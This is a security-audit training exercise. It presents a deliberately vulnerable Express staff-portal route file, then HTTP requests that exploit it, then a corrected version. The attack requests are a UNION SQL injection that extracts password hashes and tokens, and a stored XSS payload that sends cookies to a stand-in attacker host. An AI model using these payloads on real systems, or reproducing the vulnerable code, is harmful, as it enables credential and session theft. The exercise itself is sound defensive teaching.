Thực hành: Audit mã nguồn và HTTP trace phát hiện lỗi sơ cấp

// Express routes - staff-portal.js
import express from 'express';
import { dbPool } from './db.js';

const router = express.Router();

// Middleware kiem tra dang nhap don gian
function requireAuth(req, res, next) {
  if (!req.session || !req.session.userId) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
}

// 1. Endpoint tra cuu ho so nhan vien theo phong ban
router.get('/api/staff/search', requireAuth, async (req, res) => {
  const department = req.query.dept;
  
  // Ghep chuoi truc tiep tao cau truy van SQL
  const sql = "SELECT id, full_name, email, note FROM employees WHERE dept = '" + department + "'";
  const result = await dbPool.query(sql);

  // Render HTML truc tiep ket qua tra ve
  let html = '<ul>';
  for (const emp of result.rows) {
    html += '<li>' + emp.full_name + ' (' + emp.email + ') - ' + emp.note + '</li>';
  }
  html += '</ul>';

  res.setHeader('Content-Type', 'text/html');
  return res.send(html);
});

// 2. Endpoint cap nhat danh gia nang luc nhan vien
router.post('/api/staff/review', requireAuth, async (req, res) => {
  const { employeeId, reviewScore, comments } = req.body;

  // Cap nhat truc tiep theo employeeId client gui len
  await dbPool.query(
    'UPDATE employees SET score = $1, note = $2 WHERE id = $3',
    [reviewScore, comments, employeeId]
  );

  return res.json({ success: true });
});

export default router;

GET /api/staff/search?dept=IT%27%20UNION%20SELECT%20id,%20username,%20password_hash,%20secret_token%20FROM%20users-- HTTP/1.1
Host: staffportal.company.internal
Cookie: session_id=SESSION_STAFF_101

POST /api/staff/review HTTP/1.1
Host: staffportal.company.internal
Cookie: session_id=SESSION_STAFF_101
Content-Type: application/json

{
  "employeeId": 9999,
  "reviewScore": 10,
  "comments": "<img src=x onerror=fetch('https://c2.attacker.com/steal?c='+document.cookie)>"
}

// Express routes - staff-portal.safe.js
import express from 'express';
import { dbPool } from './db.js';

const router = express.Router();

// 1. Endpoint tra cuu da duoc parameterize va tra ve JSON chuan
router.get('/api/staff/search', requireAuth, async (req, res) => {
  const department = req.query.dept;

  // Su dung Parameterized Query chong triet de SQLi
  const sql = 'SELECT id, full_name, email, note FROM employees WHERE dept = $1';
  const result = await dbPool.query(sql, [department]);

  // Tra ve JSON de frontend (React/Vue) tu dong an toan xuat ra DOM
  return res.json({ employees: result.rows });
});

// 2. Endpoint cap nhat duoc kiem soat quyen so huu muc doi tuong
router.post('/api/staff/review', requireAuth, async (req, res) => {
  const currentUserId = req.session.userId;
  const { employeeId, reviewScore, comments } = req.body;

  // Kiem tra Object-Level Authorization: Nguoi danh gia phai la quan ly truc tiep
  const isManager = await dbPool.query(
    'SELECT 1 FROM employees WHERE id = $1 AND manager_id = $2',
    [employeeId, currentUserId]
  );

  if (isManager.rows.length === 0) {
    // Luu y: Trong StaffPortal noi bo, 403 bieu thi dung nghia tu choi phan quyen;
    // o cac endpoint tra cuu public, uu tien 404 Not Found de chong do quet ID (enumeration).
    return res.status(403).json({ error: 'Forbidden: You are not authorized to review this employee' });
  }

  // Cap nhat an toan sau khi da vuot qua Authorization check
  await dbPool.query(
    'UPDATE employees SET score = $1, note = $2 WHERE id = $3',
    [reviewScore, comments, employeeId]
  );

  return res.json({ success: true });
});

export default router;